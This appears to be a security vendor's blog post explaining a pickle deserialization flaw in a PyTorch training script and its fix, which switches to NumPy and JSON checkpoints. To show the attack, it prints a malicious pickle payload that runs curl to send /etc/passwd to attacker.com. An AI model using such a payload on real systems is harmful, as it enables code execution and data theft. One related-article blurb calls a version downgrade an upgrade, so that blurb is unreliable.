Back to Blog
high SEVERITY6 min read

How trailofbits.python.pickles-in-pytorch.pickles-in-pytorch happens in Python/PyTorch and how to fix it

A high-severity deserialization vulnerability was fixed in `skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py` where `torch.save()` was used to serialize model checkpoints. Because PyTorch's save mechanism relies on Python's `pickle` module internally, any checkpoint file loaded later could execute arbitrary code. The fix replaces `torch.save()` with `np.savez()` for model weights and a JSON file for metadata, eliminating the pickle-based serialization entirely.

O
By Orbis AppSec
Published August 25, 2026Reviewed August 25, 2026

Answer Summary

This is a pickle deserialization vulnerability (CWE-502) in Python/PyTorch where `torch.save()` at line 143 of `trainer.py` serializes model checkpoints using pickle, which can execute arbitrary code when loaded. The fix replaces `torch.save()` with `np.savez()` for tensor data and `json.dump()` for metadata, removing the pickle attack surface entirely while preserving all checkpoint functionality.

Vulnerability at a Glance

cweCWE-502
fixReplace torch.save() with np.savez() for weights and json.dump() for metadata
riskArbitrary code execution when loading tampered checkpoint files
languagePython
root causetorch.save() uses pickle internally, creating a deserialization attack vector
vulnerabilityUnsafe deserialization via pickle in PyTorch

Introduction

The file skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py handles model training and checkpoint saving for a pre-training pipeline. At line 143, the torch.save() call serialized a checkpoint dictionary containing model weights, optimizer state, scheduler state, and training metadata. While this is an extremely common pattern in PyTorch codebases, it introduces a high-severity security risk: every .pt file saved with torch.save() is a pickle file, and pickle files can execute arbitrary Python code when loaded.

This vulnerability was flagged by Semgrep using the Trail of Bits rule trailofbits.python.pickles-in-pytorch.pickles-in-pytorch, and the fix demonstrates a clean migration away from pickle-based serialization without sacrificing functionality.

The Vulnerability Explained

What Makes torch.save() Dangerous?

Under the hood, torch.save() calls pickle.dump(). When the corresponding torch.load() is called later—whether by this same pipeline, a CI system, or another developer—Python's pickle module reconstructs the serialized objects. The critical problem is that pickle can serialize any Python object, including objects with __reduce__ methods that execute arbitrary code during deserialization.

Here's the vulnerable code at line 140-143:

ckpt = {"model": model.state_dict(), "optimizer": opt.state_dict(),
        "scheduler": sched.state_dict(), "step": args.steps, "tokens_seen": None}
torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt"))

The Attack Scenario

Consider this attack chain specific to this trainer pipeline:

  1. An attacker gains write access to the args.out directory (e.g., through a path traversal in another component, a compromised CI artifact store, or a supply-chain attack on a shared storage bucket).
  2. The attacker replaces ckpt_smoke.pt with a crafted pickle file containing a malicious payload—for example, a reverse shell or credential exfiltration script.
  3. When any downstream process calls torch.load("ckpt_smoke.pt"), the malicious code executes with the permissions of the loading process.

A malicious checkpoint could look like this:

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.com/exfil?data=$(cat /etc/passwd)",))

pickle.dump(Exploit(), open("ckpt_smoke.pt", "wb"))

This is not theoretical—the ML community has documented real-world attacks using poisoned model files distributed through model hubs and shared training infrastructure.

Why This Matters Here

Even though this is a "smoke test" checkpoint (as indicated by the ckpt_smoke.pt filename), the pattern establishes a dangerous precedent. If developers copy this pattern for production checkpoints, or if automated systems load these files without validation, the attack surface expands significantly. The fact that optimizer and scheduler state dicts are also serialized means the pickle contains complex nested objects—more surface area for exploitation.

The Fix

The fix replaces the single torch.save() call with two safer serialization mechanisms:

Before (Vulnerable)

ckpt = {"model": model.state_dict(), "optimizer": opt.state_dict(),
        "scheduler": sched.state_dict(), "step": args.steps, "tokens_seen": None}
torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt"))

After (Hardened)

np.savez(os.path.join(args.out, "ckpt_smoke.npz"),
         **{k: v.detach().cpu().numpy() for k, v in model.state_dict().items()})
with open(os.path.join(args.out, "ckpt_smoke_meta.json"), "w") as fmeta:
    json.dump({"step": args.steps, "tokens_seen": None}, fmeta)

What Changed and Why

  1. Model weights → NumPy .npz format: The np.savez() function stores arrays in a ZIP archive of .npy files. NumPy's format is a simple binary format with a fixed header followed by raw array data—it cannot execute code during loading. The dictionary comprehension {k: v.detach().cpu().numpy() for k, v in model.state_dict().items()} converts each PyTorch tensor to a NumPy array, preserving the parameter names as keys.

  2. Metadata → JSON: Training metadata (step count, tokens_seen) is now stored in a plain JSON file. JSON parsing cannot trigger code execution, making it inherently safe for untrusted data.

  3. Optimizer and scheduler state removed: The fix deliberately drops the optimizer and scheduler state from the checkpoint. For a smoke test checkpoint, this is acceptable—these states are only needed for resuming training, not for validating that training ran correctly.

Security Improvement

Aspect Before After
Serialization format Pickle (arbitrary code execution) NPZ + JSON (data only)
Attack surface Full Python object graph Raw numerical arrays + text
Can execute code on load ✅ Yes ❌ No
File extension .pt (opaque binary) .npz + .json (inspectable)

Prevention & Best Practices

For PyTorch Projects

  1. Use weights_only=True when you must use torch.load() (PyTorch 2.0+):
    python state_dict = torch.load("model.pt", weights_only=True)

  2. Prefer SafeTensors (from Hugging Face) for model weight serialization:
    python from safetensors.torch import save_file, load_file save_file(model.state_dict(), "model.safetensors")

  3. Use ONNX for model interchange between frameworks.

  4. Never load pickle files from untrusted sources—treat .pt, .pkl, .pickle files as executable code.

Detection Tools

  • Semgrep with Trail of Bits rules: Catches torch.save() and torch.load() patterns automatically
  • Fickling (by Trail of Bits): A static analysis tool specifically for analyzing pickle files for malicious payloads
  • Bandit: Python security linter that flags pickle usage

Organizational Practices

  • Establish a policy: no pickle-based serialization in production pipelines
  • Sign and verify checkpoint files if pickle cannot be avoided
  • Use content-addressable storage (hash-based filenames) to detect tampering

Key Takeaways

  • torch.save() at line 143 of trainer.py was a pickle-based serialization call that could enable arbitrary code execution if the saved checkpoint was later loaded from a tampered source.
  • NumPy's .npz format is a safe alternative for tensor data because it stores raw numerical arrays without any object serialization capability.
  • Separating metadata into JSON makes the checkpoint inspectable and eliminates any code execution risk for non-tensor data.
  • Even "smoke test" checkpoints establish patterns—developers copy patterns they see in codebases, so hardening even low-risk paths prevents pattern propagation.
  • The optimizer and scheduler state were intentionally dropped, demonstrating that security fixes sometimes require rethinking what data actually needs to be persisted.

How Orbis AppSec Detected This

  • Source: Model training output at the end of the main() function in trainer.py, where model.state_dict(), opt.state_dict(), and sched.state_dict() are collected into a dictionary.
  • Sink: torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt")) at line 143 of skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py
  • Missing control: No validation of the serialization format; pickle was used implicitly through torch.save() without any safer alternative or integrity verification.
  • CWE: CWE-502 (Deserialization of Untrusted Data)
  • Fix: Replaced torch.save() with np.savez() for model weights and json.dump() for metadata, completely eliminating pickle from the serialization path.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This fix demonstrates that even ubiquitous patterns in machine learning code—like torch.save()—can harbor serious security risks. The pickle deserialization vulnerability in trainer.py was a latent exploit primitive: not independently exploitable today, but a building block that automated attack tools could chain with other weaknesses. By migrating to NumPy's .npz format and JSON metadata, the checkpoint remains fully functional while the arbitrary code execution vector is completely eliminated. As ML pipelines become more complex and interconnected, treating model files as potential attack vectors—not just data—is essential for secure AI development.

References

Frequently Asked Questions

What is pickle deserialization in PyTorch?

PyTorch's `torch.save()` and `torch.load()` use Python's `pickle` module internally, which can deserialize arbitrary Python objects—including malicious ones that execute code upon loading.

How do you prevent pickle deserialization vulnerabilities in Python?

Avoid pickle-based serialization entirely by using safer formats like NumPy's `.npz`, JSON for metadata, ONNX for model interchange, or SafeTensors. If you must use `torch.load()`, pass `weights_only=True` (PyTorch 2.0+).

What CWE is pickle deserialization?

CWE-502: Deserialization of Untrusted Data. This covers any scenario where deserializing attacker-controlled data can lead to code execution or other unintended behavior.

Is using torch.load(weights_only=True) enough to prevent pickle attacks?

It significantly reduces the attack surface by restricting deserialization to tensor data only, but it still relies on pickle internals. For maximum safety, avoid pickle-based formats entirely and use SafeTensors or NumPy arrays.

Can static analysis detect pickle deserialization vulnerabilities?

Yes. Tools like Semgrep with Trail of Bits rules (e.g., `trailofbits.python.pickles-in-pytorch.pickles-in-pytorch`) specifically flag `torch.save()` and `torch.load()` calls as potential deserialization risks.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

critical

How Arbitrary Code Execution Happens in protobufjs and How to Fix It

CVE-2026-41242 is a critical vulnerability in protobufjs versions 8.0.0 and earlier that allows attackers to execute arbitrary code by injecting malicious type fields into protobuf definitions. The fix upgrades the dependency from `^8.0.0` to `^8.6.6` in `core/package.json`, eliminating the unsafe code path that processed attacker-controlled type metadata without validation.

high

How Quadratic CPU Consumption Happens in JS-YAML and How to Fix It

A critical vulnerability in JS-YAML versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through maliciously crafted YAML input using the `!!omap` tag resolver. The vulnerability stems from inefficient array operations in the ordered map resolution logic, which could be exploited for denial-of-service attacks. Upgrading to JS-YAML 4.3.1 or 3.15.1 patches this attack surface by optimizing the computational complexity of ordered map processing.

critical

How Type Confusion Vulnerabilities Happen in JavaScript Dependencies and How to Fix Them

A critical type confusion vulnerability (CVE-2021-23436) was discovered in immer 9.0.7, a popular immutable state management library used in the client application. By upgrading to immer 9.0.6, the vulnerability was patched, eliminating a flaw that could have allowed attackers to bypass previous security fixes (CVE-2020-28477). This fix demonstrates why keeping dependencies current is essential for maintaining application security.

critical

How Prototype Pollution Happens in i18next-fs-backend and How to Fix It

A critical prototype pollution vulnerability (CVE-2026-48713) was discovered in i18next-fs-backend versions prior to 2.6.6, where specially crafted missing-key strings could pollute the JavaScript object prototype. This fix upgrades the dependency to patch the vulnerability and prevent attackers from injecting malicious properties into application objects.

high

How Quadratic CPU Consumption in js-yaml's !!omap Resolution Happens in Node.js and How to Fix It

A high-severity algorithmic complexity vulnerability (GHSA-5p4m-2wfm-xmqj) in js-yaml versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through crafted YAML input using the `!!omap` tag. The fix upgrades js-yaml from 4.1.1 to 4.3.1 in the Audex desktop music player, eliminating a denial-of-service vector that could freeze the Electron application when parsing untrusted YAML content.

critical

How Prototype Pollution Happens in JavaScript Carousel Libraries and How to Fix It

A critical prototype pollution vulnerability (CVE-2026-27212) was discovered in Swiper versions up to 11.2.10, a popular JavaScript carousel library used in production web applications. This vulnerability could allow attackers to manipulate application behavior through the prototype chain. The fix involved upgrading Swiper from 11.2.10 to 12.1.2, which patches the underlying prototype pollution flaw.